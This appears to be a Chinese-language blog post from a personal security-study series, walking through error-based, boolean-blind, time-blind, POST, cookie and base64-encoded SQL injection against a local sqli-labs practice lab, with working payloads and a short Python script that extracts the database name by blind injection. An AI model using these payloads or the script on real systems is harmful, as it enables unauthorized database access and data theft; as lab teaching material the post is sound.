Bootstrap

SQL注入(2)——各种注入

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法

上一篇讲了SQL手工注入及简单的检测,今天来讲解各种类型的注入。

这里配合先前搭建好的sqli-lab进行测试

报错注入

报错注入主要是通过使数据库报错,从而获取信息。
这里报错函数主要是updatexml、extractvalue
这里分别演示一下使用方法
updatexml()
在这里插入图片描述
0x7e是~的ASCII,在这里成功返回了当前数据库。

extractvalue
在这里插入图片描述
实例:http://192.168.1.9/sql1/Less-5
访问id=1,看见如下界面
在这里插入图片描述
分别输入 ’ and ‘1’='1’ and ‘1’='2,查看响应结果
’ and ‘1’='1

’ and ‘1’='2
在这里插入图片描述
发现界面发生了错误,判断存在SQL注入漏洞,但由于没有回显,所以不能用union注入,这是可以用报错注入

爆数据库:
payload:id=1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)–+
在这里插入图片描述
后续步骤与union注入一致。

布尔盲注

测试页面:http://192.168.1.9/sql1/Less-8/
访问id=1,响应
在这里插入图片描述
我们分别访问 ’ and ‘1’='1’ and ‘1’='2,查看响应结果
’ and ‘1’='1
在这里插入图片描述
’ and ‘1’='2
在这里插入图片描述
发现响应了错误的请求,此时由于没有错误信息,也没有回显,我们可以用bool盲注

访问 id=1’ and length(database())>1–+,响应了正确的页面
在这里插入图片描述
再访问 id=1’ and length(database())>10–+
在这里插入图片描述
确认存在布尔盲注

接下来写一个脚本来爆出想要的信息

bool.py

import requests
url='http://192.168.1.9/sql1/Less-8/?'
payload="id=1' and ord(substr(database(),%d,1))=%d--+"
session=requests.Session()
result=''
for i in range(10):
	for j in range(97,123):
		text=session.get(url+payload%(i,j)).text
		if (len(text)!=722):
			result+=chr(j)
print(result)

这只是很简单的脚本,还有更多的改进方法
在这里插入图片描述
成功爆出了数据库名

时间盲注

这里介绍两个函数
if (expr1,expr2,expr3)
含义:如果expr1是true,则返回值为expr2,否则返回值为expr3

sleep(n)
含义:休眠n秒
这样我们就可以构造如这样的payload

id=1’ and if(length(database())>1,sleep(5),1)–+

此时,如果数据库的长度大于一,就会休眠5秒,否则就会返回直接结果

由于响应的时间非常短,我们可以用burpsuite的Repeater查看返回结果,从而判断
链接:http://192.168.1.9/sql1/Less-9/
访问 id=1,查看结果
在这里插入图片描述
分别输入 ’ and ‘1’='1’ and ‘1’='2
在这里插入图片描述
在这里插入图片描述
发现返回结果无异,此时不能用bool盲注,但可以尝试时间盲注

构造payload:id=1’ and if (length(database())>1,sleep(5),1)–+
在这里插入图片描述
发现响应时间为5秒,判断存在时间盲注

剩下步骤
与bool注入一致

POST注入

POST注入指注入点在POST参数中
测试地址:http://192.168.1.9/sql1/Less-12/
我们访问界面,会看到一个登录框
在这里插入图片描述
我们在里面输入一个双引号,发现返回了错误信息
在这里插入图片描述
告诉我们是用双引号和括号包裹起来的

利用bp抓包请求,构造payload
在这里插入图片描述
登录成功了,说明存在注入

输入 order by子句判断字段数
order by 1
在这里插入图片描述
order by 2
在这里插入图片描述
order by 3
在这里插入图片描述
页面报错,说明存在两个字段

爆数据库:
payload:uname=123") union select 1,database()–+
在这里插入图片描述
剩下步骤与union注入一致

Cookie注入

Cookie注入指注入参数在Cookie中
测试地址:http://192.168.1.9/sql1/Less-20
访问这个界面,会出现一个登陆框,在登录之后,会出现关于用户的信息
在这里插入图片描述
在这里插入图片描述
此时在bp中抓包看见cookie中有uname字段。
在这里插入图片描述
在admin后加一个单引号,发现页面报错,推测存在sql注入
在这里插入图片描述
在admin后面加上 ’ and ‘1’=‘1’–+'and ‘1’=‘2’–+
’ and ‘1’=‘1’–+
在这里插入图片描述
’and ‘1’=‘2’–+
在这里插入图片描述页面出错,存在注入漏洞

通过order by爆字段数
order by 1
在这里插入图片描述
order by 4
在这里插入图片描述

字段数为3

爆数据库:uname=a’ union select 1,2,database()–+

在这里插入图片描述
剩余步骤与union一致

Base64注入

Base64注入指在注入参数中经过了base64加密
测试地址:http://192.168.1.9/sql1/Less-21/index.php
访问页面,登录,输出了我们的信息
在这里插入图片描述
bp抓包看参数,发现uname经过了加密
在这里插入图片描述
其中,%3D是url编码,意为 = 。也就是uname的值为YWRtaW4=
放到Decoder模块进行解密,发现Base64解密的结果是admin
在这里插入图片描述
接下来构造payload,并将payload进行base64加密后发送去
payload:admin’–+
加密后:YWRtaW4nLS0r
查看发送结果
在这里插入图片描述
提示被括号包围,重新构造payload为admin’)#
加密结果:YWRtaW4nKSM=
查看请求结果
在这里插入图片描述
发现注入点
通过order by 子句获取字段数为三
构造payload爆信息
payload:a’) union select 1,2,database()#
加密结果:YScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
响应结果在这里插入图片描述
后续步骤与union注入一致

;